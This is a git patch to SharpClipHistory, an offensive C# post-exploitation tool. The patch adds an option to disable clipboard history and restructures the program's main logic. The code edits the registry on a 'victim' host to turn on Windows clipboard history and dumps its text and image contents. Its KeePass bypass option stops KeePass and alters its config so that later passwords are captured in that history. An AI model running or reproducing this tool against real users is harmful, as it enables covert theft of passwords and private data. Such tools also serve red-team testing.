From 651e33d9166209a47a3fb88b9f21deef244cb668 Mon Sep 17 00:00:00 2001
From: James Hemmings <8309414+JamesIT@users.noreply.github.com>
Date: Thu, 23 Jan 2020 13:38:02 +0000
Subject: [PATCH] Update Program.cs

Added disableHistory.
---
 SharpClipHistory/Program.cs | 201 ++++++++++++++++++++----------------
 1 file changed, 113 insertions(+), 88 deletions(-)

diff --git a/SharpClipHistory/Program.cs b/SharpClipHistory/Program.cs
index 4118c8c..9c956de 100644
--- a/SharpClipHistory/Program.cs
+++ b/SharpClipHistory/Program.cs
@@ -1,4 +1,4 @@
-using System;
+using System;
 using System.Threading;
 using Microsoft.Win32;
 using System.Runtime.InteropServices.WindowsRuntime;
@@ -16,16 +16,19 @@ class Program
         public class Options
         {
             [Option("checkOnly", Required = false, HelpText = "Check if the Clipboard history feature is available and enabled on the target host.")]
-            public bool checkOnly { get; set; }
+            public bool CheckOnly { get; set; }
 
             [Option("enableHistory", Required = false, HelpText = "Edit the registry to enable clipboard history for the victim user and get contents.")]
-            public bool enableHistory { get; set; }
+            public bool EnableHistory { get; set; }
+
+            [Option("disableHistory", Required = false, HelpText = "Edit the registry to disable clipboard history for the victim user and get contents.")]
+            public bool DisableHistory { get; set; }
 
             [Option("saveImages", Required = false, HelpText = "Save any images in clipboard to a file in APPDATA.")]
-            public bool saveImages { get; set; }
+            public bool SaveImages { get; set; }
 
             [Option("keepassBypass", Required = false, HelpText = "Stops KeePass if it is running and modifies the config file. Next time KeePass is launched passwords will be saved in clipboard history.")]
-            public bool keepassBypass { get; set; }
+            public bool KeepassBypass { get; set; }
 
             [ParserState]
             public IParserState LastParserState { get; set; }
@@ -33,13 +36,15 @@ public class Options
             [HelpOption]
             public string GetUsage()
             {
-                var text = @"SharpClipHistory v1.0
+                var text = @"SharpClipHistory v1.1
 Usage: SharpClipHistory.exe <option>
 Options:
     --checkOnly
         Check if the Clipboard history feature is available and enabled on the target host.
     --enableHistory
         Edit the registry to enable clipboard history for the victim user and get contents.
+    --disableHistory
+        Edit the registry to disable clipboard history for the victim user and get contents.
     --saveImages
         Save any images in clipboard to a file in APPDATA.
     --keepassBypass
@@ -86,10 +91,11 @@ public static void KeepassBypass()
 
         public static void Main(string[] args)
         {
-            bool checkOnly = false;
-            bool enableHistory = false;
-            bool saveImages = false;
-            bool keepass = false;
+            bool CheckOnly = false;
+            bool EnableHistory = false;
+            bool DisableHistory = false;
+            bool SaveImages = false;
+            bool Keepass = false;
 
             var opts = new Options();
 
@@ -105,24 +111,29 @@ public static void Main(string[] args)
                 return;
             }
 
-            if (opts.checkOnly)
+            if (opts.CheckOnly)
+            {
+                CheckOnly = opts.CheckOnly;
+            }
+
+            if (opts.EnableHistory)
             {
-                checkOnly = opts.checkOnly;
+                EnableHistory = opts.EnableHistory;
             }
 
-            if (opts.enableHistory)
+            if (opts.DisableHistory)
             {
-                enableHistory = opts.enableHistory;
+                DisableHistory = opts.DisableHistory;
             }
 
-            if (opts.saveImages)
+            if (opts.SaveImages)
             {
-                saveImages = opts.saveImages;
+                SaveImages = opts.SaveImages;
             }
 
-            if (opts.keepassBypass)
+            if (opts.KeepassBypass)
             {
-                keepass = opts.keepassBypass;
+                Keepass = opts.KeepassBypass;
             }
 
             RegistryKey rk = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Clipboard", true);
@@ -137,107 +148,121 @@ public static void Main(string[] args)
             string keyName = @"HKEY_CURRENT_USER\Software\Microsoft\Clipboard";
             string keyValue = "EnableClipboardHistory";
             var regVal = Registry.GetValue(keyName, keyValue, null);
-            if (regVal == null || regVal.Equals(0))
+
+            if (EnableHistory)
             {
-                if (enableHistory)
+                //Enable Clipboard History in HKCU
+                Console.WriteLine("[+] Turning on clipboard history feature...");
+                try
                 {
-                    //Enable Clipboard History in HKCU
-                    Console.WriteLine("[+] Turning on clipboard history feature...");
-                    try
-                    {
-                        rk.SetValue("EnableClipboardHistory", "1", RegistryValueKind.DWord);
-                    }
-                    catch (Exception ex)
-                    {
-                        Console.WriteLine(ex);
-                    }
-
+                    rk.SetValue("EnableClipboardHistory", "1", RegistryValueKind.DWord);
                 }
-                else
+                catch (Exception ex)
                 {
-                    Console.WriteLine("\n[-] Clipboard history feature is available on the target but must be enabled.\n[-] Use --enableHistory to enable the feature.\n[!] Exiting...\n");
-                    System.Environment.Exit(0);
+                    Console.WriteLine(ex);
                 }
 
             }
-
             else if (regVal.Equals(1))
             {
-                Console.WriteLine("\n[+] Clipboard history feature is enabled!");
+                Console.WriteLine("\n[+] Clipboard history feature is already enabled!");
             }
 
-            if (keepass)
+            if (DisableHistory)
             {
-                KeepassBypass();
-            }
+                //Disable Clipboard History in HKCU
+                Console.WriteLine("[+] Disabling clipboard history feature...");
+                try
+                {
+                    rk.SetValue("EnableClipboardHistory", "0", RegistryValueKind.DWord);
+                }
+                catch (Exception ex)
+                {
+                    Console.WriteLine(ex);
+                }
 
-            if (checkOnly)
+            }
+            else if (regVal == null || regVal.Equals(0))
             {
-                System.Environment.Exit(0);
+                Console.WriteLine("\n[+] Clipboard history feature is disabled or not compatible on this system... (Windows 10 1809+ only...)");
             }
 
-            Clipboard clip = new Clipboard();
-            Console.WriteLine("[+] Clipboard history Contents:\n");
-            try
+            if (Keepass)
             {
-                clip.GetText(saveImages);
+                KeepassBypass();
             }
-            catch (Exception e)
+
+            if (CheckOnly)
             {
-                Console.WriteLine(e);
+                if (regVal == null || regVal.Equals(0))
+                {
+                    Console.WriteLine("\n[-] Clipboard history feature is available on the target but must be enabled.\n[-] Use --enableHistory to enable the feature.\n[!] Exiting...\n");
+                    System.Environment.Exit(0);
+                }
+
+            }
+                Clipboard clip = new Clipboard();
+                Console.WriteLine("[+] Clipboard history Contents:\n");
+                try
+                {
+                    clip.GetText(SaveImages);
+                }
+                catch (Exception e)
+                {
+                    Console.WriteLine(e);
+                }
             }
         }
-    }
 
-    public class Clipboard
-    {
-        public void GetText(bool saveImages)
+        public class Clipboard
         {
-            string ReturnValue = string.Empty;
-            Thread STAThread = new Thread(
-                delegate ()
-                {
-                    String clip_contents = "";
-                    var HistoryContents = Windows.ApplicationModel.DataTransfer.Clipboard.GetHistoryItemsAsync();
-                    var HistoryList = HistoryContents.GetAwaiter().GetResult().Items;
-
-                    for (var i = 0; i < HistoryList.Count; i++)
+            public void GetText(bool saveImages)
+            {
+                string ReturnValue = string.Empty;
+                Thread STAThread = new Thread(
+                    delegate ()
                     {
-                        var timestamp = HistoryList[i].Timestamp.DateTime;
-                        if (HistoryList[i].Content.AvailableFormats.Contains("Text"))
-                        {
-                            var contents = HistoryList[i].Content.GetTextAsync();
-                            clip_contents += "[+] " + timestamp + ": " + contents.GetAwaiter().GetResult() + "\n";
-                        }
-                        else if (HistoryList[i].Content.AvailableFormats.Contains("Bitmap"))
+                        String clip_contents = "";
+                        var HistoryContents = Windows.ApplicationModel.DataTransfer.Clipboard.GetHistoryItemsAsync();
+                        var HistoryList = HistoryContents.GetAwaiter().GetResult().Items;
+
+                        for (var i = 0; i < HistoryList.Count; i++)
                         {
-                            if (saveImages)
+                            var timestamp = HistoryList[i].Timestamp.DateTime;
+                            if (HistoryList[i].Content.AvailableFormats.Contains("Text"))
+                            {
+                                var contents = HistoryList[i].Content.GetTextAsync();
+                                clip_contents += "[+] " + timestamp + ": " + contents.GetAwaiter().GetResult() + "\n";
+                            }
+                            else if (HistoryList[i].Content.AvailableFormats.Contains("Bitmap"))
                             {
-                                var contents = HistoryList[i].Content.GetBitmapAsync().GetAwaiter().GetResult();
-                                var bitmapStream = contents.OpenReadAsync().GetAwaiter().GetResult();
-                                byte[] buffer = new byte[bitmapStream.Size];
-                                bitmapStream.ReadAsync(buffer.AsBuffer(), (uint)bitmapStream.Size, Windows.Storage.Streams.InputStreamOptions.None).GetAwaiter().GetResult();
-                                string path = String.Format("{0}\\AppData\\Local\\Packages\\{1}.bmp", Environment.GetEnvironmentVariable("USERPROFILE"), timestamp.ToFileTime());
-                                System.IO.File.WriteAllBytes(path, buffer);
-                                clip_contents += String.Format("[+] SharpClipHistory - Image found and saved in {0}.\n", path);
+                                if (saveImages)
+                                {
+                                    var contents = HistoryList[i].Content.GetBitmapAsync().GetAwaiter().GetResult();
+                                    var bitmapStream = contents.OpenReadAsync().GetAwaiter().GetResult();
+                                    byte[] buffer = new byte[bitmapStream.Size];
+                                    bitmapStream.ReadAsync(buffer.AsBuffer(), (uint)bitmapStream.Size, Windows.Storage.Streams.InputStreamOptions.None).GetAwaiter().GetResult();
+                                    string path = String.Format("{0}\\AppData\\Local\\Packages\\{1}.bmp", Environment.GetEnvironmentVariable("USERPROFILE"), timestamp.ToFileTime());
+                                    System.IO.File.WriteAllBytes(path, buffer);
+                                    clip_contents += String.Format("[+] SharpClipHistory - Image found and saved in {0}.\n", path);
+                                }
+                                else
+                                {
+                                    clip_contents += "[!] SharpClipHistory - Image found. Re-run with --saveImages to save the image in the victim's APPDATA folder.\n";
+                                }
                             }
                             else
                             {
-                                clip_contents += "[!] SharpClipHistory - Image found. Re-run with --saveImages to save the image in the victim's APPDATA folder.\n";
+                                clip_contents += "[!] Unrecognised clipboard contents format.\n";
                             }
                         }
-                        else
-                        {
-                            clip_contents += "[!] Unrecognised clipboard contents format.\n";
-                        }
-                    }
-                    Console.WriteLine(clip_contents);
-                });
+                        Console.WriteLine(clip_contents);
+                    });
 
-            STAThread.SetApartmentState(ApartmentState.STA);
-            STAThread.Start();
-            STAThread.Join();
+                STAThread.SetApartmentState(ApartmentState.STA);
+                STAThread.Start();
+                STAThread.Join();
+            }
         }
-    }
 
-}
\ No newline at end of file
+    }